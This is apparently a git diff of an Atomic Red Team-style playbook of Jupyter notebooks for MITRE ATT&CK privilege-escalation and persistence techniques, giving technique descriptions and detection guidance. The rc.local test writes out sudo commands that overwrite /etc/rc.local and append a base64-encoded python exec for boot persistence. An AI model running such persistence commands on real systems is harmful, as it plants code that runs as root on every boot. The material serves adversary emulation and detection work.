SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe" - }, - { - "cell_type": "markdown", - "id": "c8f9e13d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "4aab362d", - "metadata": {}, - "source": "## Detection\nChanges to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1034.ipynb b/playbook/tactics/privilege-escalation/T1034.ipynb deleted file mode 100644 index de1975c1..00000000 --- a/playbook/tactics/privilege-escalation/T1034.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "2e936365", - "metadata": {}, - "source": "# T1034 - Path Interception\n**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)." - }, - { - "cell_type": "markdown", - "id": "715221c9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "033baf82", - "metadata": {}, - "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1037.001.ipynb b/playbook/tactics/privilege-escalation/T1037.001.ipynb index 31196598..bcd8b336 100644 --- a/playbook/tactics/privilege-escalation/T1037.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "04e00926", + "id": "9cf57f43", "metadata": {}, "source": "# T1037.001 - Logon Script (Windows)\nAdversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. " }, { "cell_type": "markdown", - "id": "98c9288a", + "id": "eff5d22a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3ea7f4e0", + "id": "8fb8bc44", "metadata": {}, "source": [ "### Atomic Test #1 - Logon Scripts", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0d5aebd1", + "id": "1c134b69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a0f0df9b", + "id": "ce95c3fd", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f >nul 2>&1\ndel %temp%\\art.bat >nul 2>&1\ndel \"%USERPROFILE%\\desktop\\T1037.001-log.txt\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "aa2f27ab", + "id": "99a78430", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4c439168", + "id": "78a14112", "metadata": {}, "source": "## Detection\nMonitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1037.002.ipynb b/playbook/tactics/privilege-escalation/T1037.002.ipynb index 50aea921..5828938d 100644 --- a/playbook/tactics/privilege-escalation/T1037.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2fdf7fb8", + "id": "18ef2d9e", "metadata": {}, "source": "# T1037.002 - Login Hook\nAdversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) " }, { "cell_type": "markdown", - "id": "5f85d786", + "id": "af9fa61c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "50fdf617", + "id": "ddac41bd", "metadata": {}, "source": [ "### Atomic Test #1 - Logon Scripts - Mac", @@ -26,7 +26,7 @@ }, { "cell_type": "markdown", - "id": "825f8c0b", + "id": "cc8a9303", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -34,13 +34,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1037.003.ipynb b/playbook/tactics/privilege-escalation/T1037.003.ipynb index 093d28e0..e8cad0bb 100644 --- a/playbook/tactics/privilege-escalation/T1037.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d5898b03", + "id": "4b39d214", "metadata": {}, "source": "# T1037.003 - Network Logon Script\nAdversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary." }, { "cell_type": "markdown", - "id": "a78ce749", + "id": "99389b82", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "27d8b008", + "id": "7c24e9f2", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1037.004.ipynb b/playbook/tactics/privilege-escalation/T1037.004.ipynb index 190c9ea5..9f332f86 100644 --- a/playbook/tactics/privilege-escalation/T1037.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2b097001", + "id": "88aacfe6", "metadata": {}, "source": "# T1037.004 - RC Scripts\nAdversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)" }, { "cell_type": "markdown", - "id": "57685316", + "id": "f29e0544", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "849de99d", + "id": "74c5121a", "metadata": {}, "source": [ "### Atomic Test #1 - rc.common", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b5d45bc9", + "id": "a20b5c20", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f259236a", + "id": "7c32b76b", "metadata": {}, "source": [ "### Atomic Test #2 - rc.common", @@ -49,63 +49,63 @@ { "cell_type": "code", "execution_count": null, - "id": "51a5e284", + "id": "deca6a3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "db892b1c", + "id": "ce093e3d", "metadata": {}, "source": "#### Cleanup: \n```bash\norigfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4a97e604", + "id": "f7ea440c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8a331ed2", + "id": "fc1d02ba", "metadata": {}, "source": [ "### Atomic Test #3 - rc.local", "Modify rc.local\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nfilename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\nprintf '%s\\n' '#!/bin/bash' | sudo tee /etc/rc.local\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\"\" | sudo tee -a /etc/rc.local\nprintf '%s\\n' 'exit 0' | sudo tee -a /etc/rc.local\nsudo chmod +x /etc/rc.local\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nfilename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\n[ \"$(uname)\" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local\necho \"\\npython3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\"\" | sudo tee -a /etc/rc.local\nprintf 'exit 0' | sudo tee -a /etc/rc.local\nsudo chmod +x /etc/rc.local\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6315f204", + "id": "ef85e716", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4298c99c", + "id": "49ea79a3", "metadata": {}, - "source": "#### Cleanup: \n```bash\norigfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi\n```" + "source": "#### Cleanup: \n```sh\norigfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6ccead7a", + "id": "d9131752", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "c49ca872", + "id": "cfe9dc46", "metadata": {}, "source": "## Detection\nMonitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. " } @@ -113,13 +113,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1037.005.ipynb b/playbook/tactics/privilege-escalation/T1037.005.ipynb index c36910c1..c4f0ea5e 100644 --- a/playbook/tactics/privilege-escalation/T1037.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3673273a", + "id": "e6161f8b", "metadata": {}, "source": "# T1037.005 - Startup Items\nAdversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user." }, { "cell_type": "markdown", - "id": "57441bdf", + "id": "3b3a1a3d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "20c381bb", + "id": "29c28c19", "metadata": {}, "source": [ "### Atomic Test #1 - Add file to Local Library StartupItems", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f6fc4efd", + "id": "fa8cdc8d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "77dbb421", + "id": "4bc52b52", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /Library/StartupItems/EvilStartup.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4fdff0c2", + "id": "e68ae57d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1037.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "30bf4e1c", + "id": "f68d43bb", "metadata": {}, "source": "## Detection\nThe /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1037.ipynb b/playbook/tactics/privilege-escalation/T1037.ipynb index 79acb4a4..5b9bb73e 100644 --- a/playbook/tactics/privilege-escalation/T1037.ipynb +++ b/playbook/tactics/privilege-escalation/T1037.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "46b95b5e", + "id": "33c546af", "metadata": {}, "source": "# T1037 - Boot or Logon Initialization Scripts\nAdversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges." }, { "cell_type": "markdown", - "id": "cf161253", + "id": "b25299e9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a8f6172b", + "id": "f584810b", "metadata": {}, "source": "## Detection\nMonitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon." }, { "cell_type": "markdown", - "id": "9990350a", + "id": "5748de91", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to utilize confirmed good copies of login scripts and restoring on a frequent basis to prevent an adversary from using them to launch malware on a recurring basis.\n#### Use Case\nA defender can revert a system to a verified baseline a frequent, recurring basis in order to remove adversary persistence mechanisms.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1038.ipynb b/playbook/tactics/privilege-escalation/T1038.ipynb deleted file mode 100644 index 54c6afb9..00000000 --- a/playbook/tactics/privilege-escalation/T1038.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e624f5da", - "metadata": {}, - "source": "# T1038 - DLL Search Order Hijacking\nWindows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." - }, - { - "cell_type": "markdown", - "id": "b29bfe0d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c8113488", - "metadata": {}, - "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1044.ipynb b/playbook/tactics/privilege-escalation/T1044.ipynb deleted file mode 100644 index 7cd7bb9e..00000000 --- a/playbook/tactics/privilege-escalation/T1044.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a868845a", - "metadata": {}, - "source": "# T1044 - File System Permissions Weakness\nProcesses may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)" - }, - { - "cell_type": "markdown", - "id": "ed3d5821", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "03f1f909", - "metadata": {}, - "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1050.ipynb b/playbook/tactics/privilege-escalation/T1050.ipynb deleted file mode 100644 index f08df9d7..00000000 --- a/playbook/tactics/privilege-escalation/T1050.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d32a5f81", - "metadata": {}, - "source": "# T1050 - New Service\nWhen operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035)." - }, - { - "cell_type": "markdown", - "id": "b9d71ed4", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ca244926", - "metadata": {}, - "source": "## Detection\nMonitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and 